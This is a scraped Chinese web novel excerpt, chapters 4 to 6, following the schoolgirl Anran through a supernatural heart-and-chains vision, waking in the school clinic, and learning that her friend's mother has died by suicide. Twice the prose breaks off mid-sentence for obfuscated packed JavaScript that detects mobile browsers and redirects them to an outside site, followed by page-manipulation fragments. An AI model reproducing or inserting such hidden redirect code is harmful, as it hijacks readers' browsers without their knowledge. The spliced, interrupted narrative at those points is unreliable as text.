4. 第4章 扑...通。 扑...通。 扑...通。 什么...声音...? 安然的睫毛轻轻颤动想要睁开眼睛,但眼皮似有千斤重,试了几次都没能成功。忽地,她感觉胸口热,像是有什么燃烧了起来。 她皱了皱鼻子,鼻间凝聚的味道隐隐有些熟悉。 扑通。 扑通。 扑通。 耳边的声音渐渐清晰,眸中透进一点朦胧的光,她的眼皮仿若被人随手拨弄着,视线一下清晰一下模糊。 恍惚间,安然看到了一颗树,一颗扭曲变形的树——-漆黑粗壮的树根盘根虬结紧紧扎在土里,一道道奇怪的凹痕向上延伸,布满了整个树干,犹如一条条盘桓而上的蛇。光秃秃的树枝交织缠绕全部朝着一个方向延伸,无数枝丫包裹着一团鲜红,黑色的树枝杂乱无章地盘踞在周围,黑与红震颤交叠发出扑通、扑通的声音。 安然抬手按住胸口,白皙到有些苍白的手指缓缓收紧。 那颗缓慢跳动着的...是她的心脏。 那种感觉很奇怪,比起直觉更像是一种感应。她不知道自己的心脏为什么会被一棵树包裹着,就像她不知道为什么自己会经历这些匪夷所思的事情一样。 也许... 她的眼眸半垂着,从刚刚听到林盛阳的那个故事起...不,也许是从丁筝最近那些奇怪的遭遇起... 安然抿唇,淡粉色的唇瓣抿成一条直线,让原本就浅淡的唇越发看不出半点血色。或许更早...从她开始做那些奇怪的噩梦起,她的生活就有什么在她不知情的情况下改变了。 只是她一直不愿意相信。 哪怕现在,安然心中仍旧存在着一丝疑虑,怀疑之前所看到的、听到的。但她更办法说服自己刚刚看到的万胜柔还是人。 ——-这就意味着人类的世界不止有人...还有... 鬼。 那妖呢?魔呢?神?还有老头子口中那段以很久很久以前为开头的神魔乱舞的故事...都是真的? 如果那些存在于传说、怪谈之类的东西真的存在,真的能轮得到人类来主宰这个世界?! 太扯淡了。 安然长长的吐出口气,手指遮住眼睛,略有些冰凉的触感让她感觉到了一丝真实。但纷乱的情绪却并没能因此停止,脑海反而不停地浮现出那张黑色人脸没入胸口的场景。 尽管刺骨的寒意已经消失,但濒死的感觉做不了假。她有预感,如果不能将心脏从那棵诡异的树中抽离出来... 自己会死。 未知孕育恐惧,无能则会促使着它们越长越多。 安然的指甲嵌进了掌心,一抹殷红染上指尖。 她不想死... 但如果这真的是自己从离开未曾踏足过的另一个世界,那么她此刻似乎也没有什么反抗的能力。 强烈的无力感洪水般裹挟住安然的身体,仿佛下一秒就要溺死在这令人窒息的颓丧里。 “丫头,你知道人最容易也最难控制的是什么么?” “是什么?” 她想起自己摘下耳机,一脸‘我就知道你又要讲道理了’的表情看向老头子。 “是情绪。”老头子似乎也习惯了她懒散的敷衍,并不介意:“容易在于你能够驾驭它,难则在于它同样能驱使你...” “这世上最可怜也最不值得同情的,不是失败也不是一无所有,而是一开始就放弃了对抗的勇气...” “行百步者,半九十。很多时候我们需要战胜的不是别人,而是自己...” “驾驭住情绪,你所面临的难题就等于解决了一半...” 那时的她想的是什么来着? 她想着老头子手里提着的盐水鸭,闻着香味心里嘟囔哥哥怎么还不说开饭。 安然那双如桃花花瓣的眼眸缓缓垂落,半阖的眼睑遮住眼底的烦躁与不甘。她松开了紧握的拳头,绷紧的唇微微上扬,翻涌的情绪也跟着平复了下来。 老头子还等着她和哥哥给他养老享福呢,自己说什么也不能死在这破地方,更何况还是以这样荒诞的方式。 “孤阴不长,独阳不生...” “孤阴不长,独阳不生...” 安然的呢喃似是和记忆中安老头的声音重叠在了一起。她眸光一动,这世上没有解不开来的死局,就像世间的一切都拥有正反两面:有阴就会有阳、有好必然有坏,还有生与死、黑与白... 平衡才是这个世界不变的法则。 既然自己此刻要面临的是死亡...那么生路也一定就在她的脚下! 两面性... 两面... 安然脑中回放着之前的所有遭遇,最后停留在浑身冰冷奄奄一息倒在地上的自己身上。那张脸没让她直接死掉,而是出现在这里...要么是它没办法直接杀死自己,要么就是它需要自己活着... 她强压住因接近真相而狂跳不止的心脏,不管哪一个,她的小命暂时都算是保住了。 等等! 还有一种可能... 她回想起朦胧中感受到的热度和隐隐有些熟悉的香味... 是老头子给她的安神香! 如果真是爷爷用了什么办法将她拉进这里...那这儿一定有能解决眼下危机的办法! 安然目光重新落回眼前的树上。褶皱的树皮皲裂出一道道形状各异的疤,不用触摸,也能想象出手感该有多粗糙。探出去的手指停悬在了离树身一拳的距离,她的瞳孔猛地一缩,收回了手。 光滑冰冷的触感似乎在停留在指尖,但她看的分明,自己压根连树干的边边都没有碰到。 什么东西...? 安然手指重新探了出去,冰凉的触感再次传递回指尖。 “哗啦——-” “哗啦——-” 金属摩擦的声音在她耳边响起,掌心下树身轻颤发出阵阵嗡鸣。 安然倏地后退,只见数道漆黑的锁链凭空出现,树枝折断的咔嚓声此起彼伏。锁链从树身延伸到了心脏的位置,犹如一条条盘桓而上的黑色巨蟒,下一秒就要将她整个人吞吃入腹。 更让她觉得奇怪的是折断的树枝掉落下来,那些树枝即便被折断也紧紧依附在困住心脏的那些树枝上不愿意离开。 安然的双眸微微眯起,抬手按住心脏的位置。 这里...到底有什么这么吸引那鬼东西? 还有这些锁链... 安然数了一下,足足有十三道。金属的触感冰凉却并不刺骨,锁链有粗有细,粗的有成年男人的手臂大小,细的则和她的手指差不多。 手指顺着链身一一划过,锁链并不如看到的那样光洁如镜,上面刻画着肉眼无法看见的印记,表面的凹凸并不一致,触感有些像是形状各异的印章。安然摸了一会儿,也没摸出个所以然,但当指尖划过其中一条时,愣了一下。 温的。 她以为自己感觉错了,想也没想就将整个掌心覆了上去。触感有点像是灌了温水的不锈钢杯。温度不高,但足以区分它和其他几条的不同。 破局的关键...难不成在这条... 但这想法只起了个开头,就在安然‘啊’的一声痛呼里迎来了结束。 刚还只有温水热度的锁链转眼间就成了烧红的烙铁。 她下意识松手,却惊恐地发现自己的手已经被牢牢的黏在了上面。灼烧的痛感顺着掌心蔓延至了全身,仿佛灵魂都要跟着燃烧了起来。 “啊!!!!” 安然双眼被灼的生疼,眼泪还没来得及落下就被高温炙烤的无影无踪,手掌变成了诡异的焦红色,鲜血从掌心流出又被高温驱散,大颗大颗的汗珠从她暴起青筋的额角滑落,混着嘴角溢出的鲜血,滴在通红的锁链上发出微不足道的一声‘呲’。 温度越来越高,周围弥漫着一股带着奇怪异香的焦糊味。 手上蓦地一轻,锁链消失了。安然怔愣地看着不知道什么时候变成根根枯骨的双手,不,不止是手,她的胳膊、双腿、乃至整个躯干都成了焦黑的骨架,只有被肋骨护住的心脏还在一下接一下地跳动着。 眼前的场景该让她感到害怕的,但很奇怪,除了视觉,其他的感官似乎都随着内脏血肉的消失而消失了。 一抹绿色忽地从她眼前飘落。 安然茫然地抬头,头顶的树枝干枯像是一折就断,哪有半片叶子的影子? 下一刻,她的视野猛地拔高,很快就和眼前的枯树齐平。双脚深深陷进身下的土地,躯干却以一种诡异扭曲的而方式不断的向上延伸。 不!!! 她感觉心底有个声音在呐喊。 不对!!! 不该是这样的!!! 这不是她!!! 她怎么可能是...一棵树?! 愤怒的声音里带着不甘。 不是...树么? 安然茫然地看着对面那棵和自己一样包裹着心脏的树。 不是树... 自己又是什么? “然然,来看看哥哥给你买了什么?” “然然,这个草莓肯定甜,吃这个!” “然然,来,哥哥背你!” “然然,很快你就能长的和哥哥也一样高了...” “然然...” “然然...” “然...” “.......” 一滴泪从她的眼角滑落,滴在她的枝干上又落进脚下的泥土里。 她... 竟然哭了... 树...也是会哭的么? 不,她不是树。 她是... 安然... 她是安然啊!!! “啊!!!!” 眼前的一切如泡沫般尽数消散。 掌心猛然一沉,黑红的铁链阵阵嗡鸣,发出哗啦哗啦的声响。 双手仍旧是诡异的焦红色,但她已经感觉不到疼了,充斥在安然心中的只有一个念头:不能死!她不能死!她还有很多事情没做,还有很多话没说,她还没有安老头和哥哥说她有多爱他们,还没对他们说过‘谢谢’... “起来!!!”嘶哑的声音伴着浓重的血腥味,手中的锁链竟真的缓缓移开树身,被她拽了出来。 安然表情愈发狰狞,额角青筋暴起,全身上下都变成了诡异的焦红色,仿佛下一秒就要燃烧起来。 “给我起来!!!” 一道焦黑的裂痕出现在了她的脸颊上。 与此同时——- “咔嚓——-” 轻微的碎裂声从她手中传了出来。 “咔——-” “咔——-” 碎裂的声音逐渐密集。 但安然却像是没听见般仍旧死死撕扯着掌中的锁链。 “哗啦——-” 锁链彻底溃散。 惯性的作用导致安然重重摔在了地上,无数碎片化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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蓦地,手指的主人停下了抚摸的动作,看向角落里黑暗的位置,指尖玩味的在娃娃的琉璃般的眼球上点了两下。鲜血顺着娃娃的皲裂的眼球滑落下来,在白瓷的脸颊上拖出长长的血痕。 昏暗的光线里闪着一暗金一墨绿光芒的眸子微微眯了起来,随即向上一挑,弯出两道好看的弧度:“舍得回来了?” 话音刚落,一道混沌黑白的人影从黑暗中缓步走了出来。 人影每走一步,模样就清晰一分。 等到黑暗中的两人面对面站着的时候,人影已经彻底变成了青年的模样。颀长的身形,挺拔的肩背,修长的双腿以及一张就连众神见了都会为之倾倒的脸,一棱一角,五官的每一道弧度都像是由造物主亲手造就的偏心之作。 但眼下,这样完美的面孔却有两个。 同样的如同千年寒泉般冷冽的肌肤,同样的仿若藏匿着无数星辰的深邃眼眸,高挺的鼻梁,薄厚适中的完美唇形,清晰棱角分明的下颌线。 唯一不同的是他们眼眸的颜色,一个金红异瞳,另一个则是幽暗的墨绿色。 “现在信了?” 这话说的没头没尾,却让黑白身影握紧了拳头。 “啧。要是知道你最后会成为养成这么个无趣的性格,当初说什么也不会分出那一缕精魄,浪费在那愚蠢的老东西身上...” 见对方仍旧一言不发,说话的人也不在意,只是突然想到了什么勾唇一笑:“我记得那个小姑娘叫你‘九玄’?倒是个不错的名字。不如...到时候也让她帮我起一个?” 提到安然,九玄幽暗的眸子闪过一丝杀意:“你最好不要动她。否则...” “否则什么?”男人手指轻轻勾动了一下手指,九玄便不受控制地朝着男人的方向飞了过去。 男人扣着九玄的脖子,一金一红的眸子闪着妖异的光芒,嘴角勾起一个嘲讽的笑:“她连你是谁都不知道,你倒是学起了人类那套不自量力了?不过一个小小树灵,真当本王动不了你?” 九玄被男人提在半空,一道破空声自身后响起,数道手臂粗的柳条猛地窜出,尖锐的柳叶闪着寒芒直冲男人面门而去。 “破。” 男人唇边笑意不减,只一个字,那些蓄势待发的柳条便如被吹散的柳絮散落在了空气里。 “呵...” 男人刚想说什么,12道锁链便自身后齐齐显现,那些锁链穿过男人的身体连接着身后佛龛之内的盒子上。金色符文浮自铁链上浮现,强大的拉扯力试图将男人往盒子的方向拽。同一时间,男人的额头,心口、掌心、双脚齐齐闪过暗金色光芒。 男人收起笑容,眼神阴翳地瞥了眼贯穿自己身体的锁链。抬手看向掌心,只见一颗暗金色的弹珠大小的圆球深深嵌在掌心,连带着周围的经脉都散发着诡异的暗金色。 男人握紧拳头,掌心的圆球瞬间消失。指尖浮现一缕黑气,浓稠如墨的黑气沿着锁链蔓延,与金色的符文交叠缠绕,‘呲呲呲’的声音不绝于耳,直到彼此消弭,再不见半点颜色。 他扭动了一下脖子,眼神又重新恢复成之前的轻佻和懒散,看着仍被举在半空中的九玄眼中多了一丝意味深长:“既然玩够了,是时候该回来了...” 随着男人话音落下,异瞳中金绿两色光芒大盛,九玄的身影被两道光团紧紧缠绕,身形逐渐变淡,直至消失不见。 男人无视身后哗哗作响的铁链,目光看向遥远的黑暗,舌尖滑过如血般殷红的唇,缓缓勾起一个嗜血的笑:“终于...要开始了...” 5. 第5章 白。 刺眼的白色让安然忍不住眯起了眼睛,鼻间萦绕的消毒水味让她眉间微微蹙了起来。 “同学,醒了?” 安然侧头,但映入眼帘的仍是一片模糊的白:“这是...哪儿?” “校医室。” “校...校医...?”混沌的大脑似乎有了片刻的清明,话到嘴边又成了一片空白,“我...” “你在走廊上昏倒了...” “走...廊...” 传进耳中的声音断断续续,那些本该简单的字符此刻竟变得晦涩难懂,她只能像个复读机般下意识重复捕捉到的词汇,仿佛不这样做,就理解不了其中的涵义。 那人不再说话,只有脚步声时远时近地传进安然的耳里。 “嘶...” 尖锐的疼痛撕开了眼前浓雾般粘稠的白,安然撑着身体想要坐起来,却被一只手按住了肩膀,“同学,挂着点滴呢,小心点别碰着针头了,还有啊...” “生理期不吃早饭可不行哦!”那只手力气不大却带着不容置疑的意味:“女孩子生理期是身体防御力最脆弱的时候,千万不能熬夜,不能剧烈运动,不能吃生冷的食物,更不能节食,网上说什么生理期减肥事半功倍的那些不靠谱言论都是没有科学依据的...” “生理...期?”安然茫然地追寻声音移动的方向,混沌的白色渐渐分出了明暗,眼前的人影渐渐清晰。那是一个穿着白大褂扎着低马尾的女人,二十多岁的年纪,皮肤很白,眼尾微微垂着,说话时眉间含笑,只是这人说话的声音很大且语速很快,和前鼻音后鼻音混杂的江南口音不同,她的声音爽朗而豪迈,和其温婉柔和的长相形成了种怪异的割裂感。 “嗯?” “你不知道自己生理期的时间?怎么?平时不准?”见安然茫然,女人宽慰道:“其实也不用太担心,只要前后相差不超过一个礼拜,基本上都是正常的...”说着她递给了安然一套运动服和一包卫生棉,“衣服裤子都有些粘上了,这套衣服你先穿着,本来是给你家里人打电话让他们送过来或者带你回去休息一天的,但你们班主任说你留的两个电话都没人接...” 校医见安然没接自己手上的衣服,随手将东西放到床尾:“要不...你自己再给家里打个电话让他们给你送套衣服过来?怎么,肚子疼?”说着又指向对方嘴唇的位置:“你嘴唇上的伤不会是你自己咬的吧?” 说实话,安然完全不知道该说什么,覆在小腹上的手用力按了按,已经不疼了。她一直以为自己是昨晚大雨自己不小心踹了被子凉到了,现在看来大概是拜生理期所赐了。 眼前这个校医似乎不是很会看人的眼色,自顾自道:“其实有很多一部分女性在经期是都会出现一些生理病痛的症状的,比如头疼、小腹疼痛,或者是腰疼之类的,如果疼的厉害最好还是去医院做个检查...千万不能讳疾忌医,我知道你们这些小女孩很排斥去看妇科...但是身体才是基础和本钱...” 看着喋喋不休的校医安然没有出声打断,只安静地听着。她成长的过程中没有女性长辈,自然没人告诉她该如何进行‘实战’,虽然之前上过生理课,但实际遇到还是头一次。就像老电影里的经典台词:‘她知道这一天终会到来,却没想过来的这么快。’ 不过...好像...她哥在她初中的时候拿着卫生棉试图为她讲解来着。 后来发生什么了? 安然眯着眼睛,在自己仍旧有些混沌的大脑里翻着陈芝麻烂谷子的记忆。 哦,对了! 后来好像是因为自己问题太多,她哥回答不上来,最后落荒而逃了。 想到这,拢在安然眉眼间的寒霜如遇上烈阳,转眼就散了个干净。 “这才对嘛!这么漂亮的姑娘干嘛老是皱着眉头...”见安然仍旧是一副迷糊不在状态的样子,校医伸手在她眼前晃了晃:“同学?...不会是摔倒的时候撞到脑子了吧?同学...能看清么?这是几?” 安然抓住校医来回摇晃的手指:“别晃了,晃这么快,看的我想吐...” “想吐?不会真是脑震荡了吧?!同学,别着急,你先躺下,我去叫120!” 安然一把揪住校医白大褂的一角:“...不是脑震荡...是你的手指一直在晃,看得我头晕...” “啊...抱歉抱歉,今天是我第一天来医务室,有点过于小心翼翼了...”校医不好意思的拢了拢鬓边的碎发,然后伸出两根手指凑到安然眼前:“同学,能看出来这是几么?” ———————————————————— 好不容易从那个不靠谱的医务室走出来,安然转了转有些发麻的脚踝,又理了理身上的运动服,没想到竟意外的合身。 手机上屏幕亮着,信息最上端的名字只有一个字‘哥’,下面对应的时间是:7点58。 大意是爷爷遇到的事有点棘手,自己去帮忙,但那破地方没什么信号,打不通电话的话,让她不要担心,一有信号自己就会给她电话,最后不忘往她卡里转了钱,告诉她想吃什么只管买。 瞥了眼以95开头的银行信息,安然也没看金额多少,直接拨通哥哥的号码。 “您拨打的电话不在服务区,请稍后再拨...sorry...” 安然按断电话,其实对于爷爷有意将自己的‘衣钵’传给哥哥的举动,安然心里是一百个不愿意的。为这事她甚至还闹过绝食,在她看来,以她哥的智商在任何一个领域,都能闯出一片属于他自己的天地,怎么都比做神棍强一百倍,不,是强一千倍。 最后还是她哥再三保证说自己真的喜欢这行,而不是出于报答安老头养育之恩之类的破烂理由,再加上老头子再三保证会让她哥好好上学,绝对不会耽误她哥学业,这事最后才勉强过去。 心里又骂了几句老头子的不靠谱,才叹了口气,将手机放回了口袋。 照刚刚的那位赵医生说的自己是昏倒在离厕所不远的走廊上的,如果不是她今天闹肚子,说不定自己刚刚那副狼狈的样子就要被全校围观了。 虽然生理期没什么可羞耻的,但是高中的男生无聊起来有多无聊安然是知道的,多一事不如少一事,她不喜欢被人围观,更不喜欢被人议论。 况且尽管那医生看上去比她的长相要不靠谱的多,但好在在生理和医学知识上,比她这个菜鸟还是要好的多得多的。 就是有点过于...热情了。 回想起自己郑重道谢后得到的那个堪称熊抱的拥抱,她不禁打了个寒战,下意识握紧拳头,以后打死也不能再去医务室! 手中装着脏衣服的袋子被她捏的哗啦哗啦直响,安然回过神,这才察觉到自己不知道什么时候竟然走到了厕所门口。 她叹了口气,即使一遍遍告诉自己那只是个梦,但看样子她果真还是没办法说服自己那真的只是一个梦。 安然按住心脏,扑通扑通的震动透过胸腔清晰的传递到掌心。自从醒来后,那种隐隐的酸涩就一直萦绕在心头,...像是这里...有什么缺了一块。 只是思来想去,她都记不起自己是有什么东西遗忘了。醒来前最后的记忆停留在锁链破碎她摔倒在地... 后来还发生什么么? 安然没有半点印象。 大约是没有了。 她的记忆里只有那棵漆黑的树... 被树枝包裹的心脏... 缠绕交叠锁链... 以及那张扁平的脸... 蓦地,那些漆黑树身上被铁链禁锢留下的那一道道不规则的伤痕浮现在安然的脑海里,连带的还有锁链在她掌心破碎的场景... 清冽的眸子闪过一丝错愕。 难道...是她想错了? 那棵极尽扭曲、拼命想要包裹住她心脏的树,其实并不是想要伤害她...而是在保护她?! 而脸...进入她的身体形成的不是树而是那条缠绕树干的锁链?它想要把树毁掉,得到她的心脏,占有她的身体?! 太扯淡了。 她使劲摇了摇头,将脑子里那些不切实际的想法赶了出去。真要那样另外12道锁链难不成是12张鬼脸,都等着要自己的身体了?她又不是唐僧,吃了也不会长生不老。 或许... 树在保护她没有错,而那张脸在进入她身体的第一时间就被那棵树吞噬掉了。 而那些铁链... 是某种束缚... 可以被摧毁的束缚。 只有这样,才能说得通。 安然垂下眼眸,如果真是那样... 那棵树又到底是什么... “踏、踏、踏...” 厕所的环境区别于走廊,不知道是地砖用的比较便宜,还是建造的时候偷工减料了,明明空间不大,踩在上面的回声却不小。 进来前,安然在心中预想过可能会见到的各种各样场景:血腥的,恐怖的,恶心的,脏兮兮的...唯独没有料想到会是眼下这般的... 干净。 明亮的灯光将整个天花板照映的一片雪白,没有蛛网,更没有肮脏的脚印,镜面干净的连脸上细小的汗毛都看得一清二楚。水池边上的龙头锃光瓦亮,不仔细看还以为是新买的。瓷白的盥洗池、一尘不染的地面,半点涂鸦都没有隔间以及空气里隐隐飘散出的熏香气味... 怎么看都不像自己在之前来过的厕所。 难道刚刚真的是做梦? “同学,怎么样?是不是焕...焕然一新?” 安然回头,说话的是一个穿着保洁服的陌生阿姨。 “您是...?” “我是新来的保洁,以后咱们学校的卫生就由我来负责了!”保洁阿姨大概四十多岁,个头不高,皮肤黝黑,笑起来时脸颊的肉堆在一起,挤得眼睛只剩两道细小的缝,不见憨厚倒有几分讨好:“城里的女娃儿就是好看!” 安然礼貌地笑了笑,随即像是想到了什么般试探道:“那...之前那个阿姨...” 保洁阿姨眼角的肌肉不受控地抽了抽,只是几秒就又恢复正常:“具体的,我也不知道...但听门卫说好像是调到了其他岗位...” “不是我说,你们学校之前的保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850057|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洁是真的不行,工作做的那是一点也不到位!要不是我工作经验丰富,没个三五天估计都够呛!不过以后只要有我在,绝对不会让你们这些娇花似的女娃们还遭过去那些罪的!别说哈,还是城里的水养人!等俺...等我攒够了钱,也送我家丫头来这儿上学...” 见安然没搭茬,保洁阿姨好意思的笑笑:“同学...那没什么事的话,我就去忙了,以后这里要有什么问题的话,直接找我就行,别和你们领导...老师说,要是有哪里做的不好的,直接跟我说就行,我指定拎着水桶就来...”说着拿起一边的水桶抹布,就朝门口的方向走去。 “等等...阿姨,能问问您是什么时候打扫的么?” 水桶掉在地上发出一声尖锐的“咚”,里面的水洒了出来,溅到了地上。 “对不起...对不起...”保洁阿姨立马蹲下,扯着自己的衣摆就朝着地上的脏水按了下去。擦到一半像是突然间想起了什么,猛地起身,用力拍打自己身上已经弄脏的制服,然后神情焦急地站在原地不停张望。 安没想到自己就是这么随口一问,眼前的这个人反应竟然会这么大,眼看着对方一直在原地打转,还时不时盯着地面,那样子急得像是下一刻就要扑上去把地上的水舔干似的,她几步上前捡起倒在地上的拖把,死马当活马医地递了过去:“您...是在找这个么?” 保洁阿姨一把抢过,看着拖把的眼睛亮的吓人:“是这个,就是这个!” 拖把按在地面溅起点点污水,保洁阿姨脸颊涨的通红,裸露在外的手腕鼓起道道青筋,一边拖还一边嘀咕:‘怎么就看不见呢,怎么自己就找不到呢,猪脑子,真是个猪脑子...’ 保洁阿姨突然的癫狂让安然有些不知所措。心想他们校长竟然已经抠门到请不起正常人了么?先是自来熟的校医,现在又是不正常的保洁?都是哪里找来的奇葩... 不过吐槽归吐槽,安然这会儿还真不敢做刺激对方的事,只能老实等她将地上的水整理干净,趁对方到水槽洗拖把的时候才敢一溜烟蹿到厕所门口。 “那个...同学...”保洁阿姨突然开口。 安然强忍住逃跑的冲动,看向身后:“您还有什么事么?” “你那天...是不是看到俺了?俺...我知道周末学生放假的时候是不能来学校的...” “但...学校大门没关...我就想着早点进来收拾收拾...”说着还竖起了三根手指:“我向山神发誓,我就是想早点来学校工作...没去别的地方,更没有偷拿学校的东西...” 保洁阿姨的手指绞着湿透的衣角,一滴滴污水落在她穿着的黑色布鞋上很快又消失:“你能别和学校领导说么?我真的很需要这份工作...” “阿姨,您放心吧,我们这是学校呢,是培养学生的对方,不会因为这点小事就赶您走的...不过以后最好还是工作日的时候再工作,要不然学校这么大,真要出点什么事,您就是长了一千张嘴也说不清...您以后还是...” 安然的声音戛然而止,还是什么呢?还是不要见谁都把实话说出来?还是以后尽量少说话?还是这个世界上不是所有人都在意真相,他们只肯相信自己固有的认知? 还说别人自来熟,自己这又是怎么了?她又有什么资格干预别人的行为处事?干预别人的生活?她能保证处事圆滑或沉默寡言就能获得更好的生活么? 她不能。 她没办法对别人的人生负责。 “还是什么?”保洁阿姨质朴的脸上透着一丝并不符合年龄的纯真和茫然。 “没,没什么...” ————————————————————— 安然站在教室门口的时候,第三节课已经开始了一半。 班里因为她的出现,起了一小阵骚动。 老班的教鞭敲在桌上发出刺耳的“哐哐哐”:“都看哪儿呢!同班同学这么久了还不认识么?!刚刚的物理公式都记住了么?”说着抬手示意安然回自己的座位上。 看了眼已经占据了大半黑板的知识点,安然翻开物理书,找到了相应的书页。 老班的课仍旧讲的慷慨激昂,提神醒脑。只是即便已经适应了一个学期,安然仍旧接受不了对方几乎每句话里都要加一个‘嗯’,还是能根据场合改变语气的那种。 不过这时候也顾不上老班那点无伤大雅的口头禅了。今早的事就像藏匿在阴沟里的蛆虫,时不时就蠕动着肥胖的身躯出来找存在感。 在经历不知道第几次回想细节后,安然终于决定放弃,毕竟时间(周一上午)、地点(厕所)、人物(自己)上没有留下半点关于那件事是真实发生过的证据。 没有证据,就不能妄下定论,这是她一向的判断准则。 看着圆珠笔在书上晕开的圆点,安然按了按有些发胀的太阳穴,算了,噩梦就噩梦吧,反正自己又不是没做过类似的,等老头子他们回来再问问吧... 随手按了下圆珠笔,晕开黑点的笔头一缩,余光落在身旁空荡的座位上,安然蓦地瞳孔一缩——丁筝抽屉里的书...怎么全都不见了?! 6. 第6章 好不容易挨到下课铃声响起。 安然没有理会身后叫她的陈温柔,径直追向已经走出教室老远的老班。 教职工办公室里只有老班和另一个老师在,安然敲了敲门,那老师头也没抬说了句‘请进’,倒是一旁接完水的老班看见进来的安然一脸诧异:“嗯?安然,怎么了,有什么事么?” “老师,丁筝课桌里的书怎么全都不见了?她人呢?是出什么事了么?”安然原本没想问的这么直接的,但萦绕在她心头的那种不详的预感让她此刻已经顾不上什么循序渐进了,她只想知道丁筝到底怎么了,想知道她是不是...是不是...还活着。 老班将原本递到嘴边水杯放到桌上,水有些满被这么一震,有不少洒了出来:“丁筝同学她...暂时休学了。” “休学?”安然预想过很多的结果,却唯独没有想过会是这样的答案:“怎么突然就休学了?生病了么?受伤?还是...” “没有...”老班打断了安然的胡思乱想,抽出纸巾按在水杯边缘的水渍上:“都没有,丁筝她很好,没有受伤也没有生病。” “那...” 老班这时却面露难色:“虽然你和丁筝是好朋友...但作为班主任...是不能随便泄露学生隐私的,嗯...要不放学后你自己打电话问她...” 安然没有说话,而是点开手机放在办公桌上,手机屏幕上‘丁筝’一栏下方是密密麻麻的拨号记录和同样密密麻麻的通话时间00:00:00的字样。 “老师,我真的很担心丁筝...” 老班沉默许久,看着这个满脸写着‘你不说,我就不走’的女孩,终是叹了口气:“丁筝爸爸上午来学校办的休学手续,嗯...丁筝目前的状态不太好...” 丁筝的...爸爸? 安然皱着眉头想要说点什么,却见老班扫了眼周围几张空置的办公桌,似是见除了再自己外没有其他学生,才压低了声音:“丁筝的母亲嗯...自杀了。虽然送进医院的时间还算及时,但...人最后还是没能抢救回来...丁筝当时就在现场......” 安然后退了一步,脚踝一疼,没站稳般踉跄了一下,差点撞到身后的桌子,被后面的老师扶了一下,“同学,小心点。” 丁阿姨...当着丁筝的面...自杀了。 安然想象不到那样的画面该让丁筝多么的恐惧和绝望。 拨开搀扶着她的手,安然的灵魂像是被人强行抽离出了身体,双眼空洞地看着老班一开一合的嘴,大脑就像被人狠狠揍了一拳,一片空白。 【安然,我看到了!我看到了!我没疯!是我妈被控制了!她被人控制了!有两个她!有两个!我妈...我妈她给了我一把钥匙...我不知道是怎么做到的,但我看到监控了...那人绝对不是她!...那个人...那个东西...安然......我会找出真相的...对...对不起...我不该那么说的那不是我的本意......呜呜呜...对不起...呜呜呜......等我...等我拿到里面的东西...我能来找你么...你在家吧...求你...等我...然然...等我...】 是她的错... 都是她的错... 如果不是她和丁筝怄气... 如果那天她没去图书馆... 如果看到信息的时候没有将手机放回口袋... 如果及时听到她给自己的留言... 这一切是不是就...不会发生? 自己怎么能对她的求救视而不见?! 【求你...等我...】 【然然...等我...】 丁筝的语音信息就像音像店里卡碟的唱片机,似乎只要不拔掉电源就会重复播放到天荒地老。 她像条被遗弃在梅雨季里即将窒息的鱼,无论离水面多近,都无法汲取到丁点儿外界的氧气。大颗大颗的泪珠争先恐后地从安然眼中滑落,滚烫的眼泪划过她冰冷到近乎透明的肌肤,仿佛再多一秒就会支离破碎。 “...安...然...” “安...然...” “安然。” “安然!” 安然茫然地看着按着自己肩膀的老班,那双焦急中掺着不知所措的眼睛此刻正清晰地倒映着狼狈不堪的自己。 那个因为后悔而哭的涕泪横流的人...是她么? 原来她也会沉迷在后悔中无法自拔... 说好的再多的后悔也不过是饮鸩止渴,除了不停消耗自己,没有半点用处呢?说好的后悔就像是匹诺曹的谎言,即使再天花乱坠,也阻止不了全世界都指着他的鼻子幸灾乐祸呢? 她不是从来不需要用后悔来遮掩自己的过错,用眼泪装点已然鲜血淋漓的伤口的吗! 现在又是什么?! 只有伤口落在自己身上才知道疼?! 安然闭上了眼睛,任由剩余的眼泪如熟透了果子般一颗颗砸在地上,最后消失不见。 再睁眼,汹涌咆哮的情绪戛然而止,再掀不起半点的波澜。 老班看着眼前这个从支离破碎到平静无波不过几十秒的女孩儿,第一次在这个自己已经教了一个学期的学生身上察觉到了...违和。如果不是对方仍旧有些泛红的眼圈,他甚至以为刚刚的一切是自己产生了幻觉。 这个安然...到底怎么回事? 念头一起,就像是在平静的湖面投进了一粒石子。那些波纹随着心中的疑问渐渐扩散,将原本看上去正常的表面撕扯开露出了里头被忽视的真相。 老班回忆起自己初见安然时,还感叹过生命并不平等。有人生来聪明,有人生来美丽,也有人生来两样都占了。 是了,以对方的成绩和长相再怎么低调也该是他们学校成为风云人物,怎么都不该是这样岌岌无名甚至有些透明的存在才对。 还有她的成绩,明明能在全校排到前20,怎么就没有一个任课老师推荐她参加竞赛?学校那些混小子整天偷偷给女孩们排校花班花的事,他也是略有耳闻的,当时只是感叹年轻真好岁月不饶人,这会儿想来,‘安然’的名字,他一次都没有听过... 作为一个老师,虽然不该肆意评判学生的样貌,但作为一个正常的人,他觉得自己的审美是没有问题的。安然的确是自己教过的学生甚至自己见过的人中长的最好看的,哪怕这份美还带着未脱的稚气。 这样的人...这么低的存在感... 怎么想都觉得不正常... “金老师,王老师...校长请你们去一趟校长室...” 门口的人打断了办公室里别扭沉寂的氛围。 安然回头,说话的人她也认识,是他们班的英语老师。平时说话自带三分笑意的人此刻却是脸色铁青,眉头紧紧皱在一起,靠在门边看着里面没有离开的意思,看架势是打算跟办公室的两人一起走了。 “能行么?”老班有些犹豫,有些担心安然的状态。 